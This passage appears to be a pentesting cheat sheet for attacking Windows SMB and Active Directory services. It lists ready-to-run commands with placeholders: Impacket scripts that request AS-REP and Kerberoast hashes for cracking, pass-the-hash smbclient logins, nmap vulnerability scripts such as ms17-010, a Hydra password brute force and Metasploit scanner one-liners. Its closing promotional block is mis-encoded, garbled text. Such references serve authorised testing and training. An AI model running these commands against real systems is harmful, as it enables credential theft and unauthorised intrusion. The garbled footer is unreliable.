GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}